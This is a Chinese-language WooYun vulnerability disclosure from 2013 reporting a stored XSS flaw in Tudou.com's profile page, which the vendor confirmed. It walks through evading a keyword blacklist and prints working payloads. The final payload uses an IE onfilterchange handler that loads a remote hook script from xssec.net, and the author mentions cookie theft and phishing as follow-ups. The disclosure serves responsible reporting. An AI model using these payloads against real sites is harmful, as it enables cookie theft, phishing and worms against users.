漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-043268
漏洞标题：土豆网存储型XSS一枚！要成为像二哥一样的男人 持续努力挖洞中！[2]
相关厂商：土豆网
漏洞作者： 0x_Jin
提交时间：2013-11-18 17:46
修复时间：2014-01-02 17:47
公开时间：2014-01-02 17:47
漏洞类型：xss跨站脚本攻击
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-11-18： 细节已通知厂商并且等待厂商处理中
2013-11-22： 厂商已经确认，细节仅向厂商公开
2013-12-02： 细节向核心白帽子及相关领域专家公开
2013-12-12： 细节向普通白帽子公开
2013-12-22： 细节向实习白帽子公开
2014-01-02： 细节向公众公开
简要描述：
某页面存储型XSS一枚～ 无助攻 过滤规则看起来较死 如果思路猥琐一点 恩哼？ 帽子们都懂的！思路猥琐强过技术！今天某厂商给了18RANK 到手却只有4RANK 顿时就怒了 说小厂商。。。 土豆不小了吧？存储型 爱执行什么 就执行什么 蠕虫 钓鱼 拿cookie 随意～ 其实我只想要个SSD 。。。。
详细说明：
漏洞存在页面在个人中心的个人简介页面，这个点很奇葩
<textarea>[code]</textarea>
code = </textarea><script>alert(/Jin/)</script>
ps:先闭合 textarea在文本域里的内容都是会当做文本显示的 所以先闭合！
提交后再本身的页面就弹了
可是现在是自X 因为再个人主页中是不会弹的。。但是<script>也不会显示出来！
思考：为什么没显示出来？难道是直接给吃掉了？
思考2：我们要如何继续挖下去直到影响其他用户？
思考二解答：如果一个页面存在这样的过滤不严谨的事情 虽然说 是只能自己看的
但是在其他人可以看的页面中 说不定也存在？ 自己去找找！百分之70存在反射型的 基本上都挖到了存储 ！
思考一解答：我们不能只是思考 我们要去证实 于是我便只提交了<script>标签进去！
有两处输出点 一处被过滤 一处直接吃掉！
现在我就再试试 不写敏感标签 我输入 xxxx<img src=x>jin1 后来发现！看截图：
咦，img生效了 写个事件试试 <img src=x onerror=alert(1)>
后来再去看 次奥 又直接给我吃了 应该是关键词的过滤！
基于关键词的检测 无非就是白 黑名单 那么首先应该去摸清楚到底是什么！
如果是白名单 那么就测出来 哪些标签能够写
如果是黑名单 那么就去找个漏掉的吧！
经过测试 应该是黑名单 漏掉的 应该是<textarea> 但是textarea 我不能写事件咋整？
那就写css呗 起码IE的用户还是占很大比咧的！
那么贴payload吧！
因为在个人设置里设置的东西 会在个人中心的 <div>[输出]</div>
那么我们就不需要闭合</textarea>了！直接payload
<textarea style=width:1px;filter:glow onfilterchange=alert(/Jin,代码已执行/);jQuery.getScript('//xssec.net/123');></textarea>
payload:为了证明漏洞 我就写了个弹窗 跟加载hook！如果在插入hook里面再自己随便写点钓鱼的js (phishing) 那都懂的！
好吧那上几张高清无码图吧！
另外受影响用户 从IE 10 - 6！如果再贴点其他浏览器的CSS 执行js的代码也能影响其他浏览器！
毕竟IE现在占有率有市场的百分之50！ 于是便没做其他测试了！
其实我只想要个SSD 。。。。
漏洞证明：
链接：http://www.tudou.com/home/_83329043
修复方案：
再提交值后有两处地方会输出 第一处在head 中的 meta 标签中 那边过滤了！
但是 再第二出 body - > div 中也显示了 但是并没有过滤掉！
修复方案 你们懂的 先过滤掉各种字符吧！
嗯。。。 我还是只想要SSD。。。。
版权声明：转载请注明来源 0x_Jin@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：18
确认时间：2013-11-22 10:24
厂商回复：
确认
最新状态：
暂无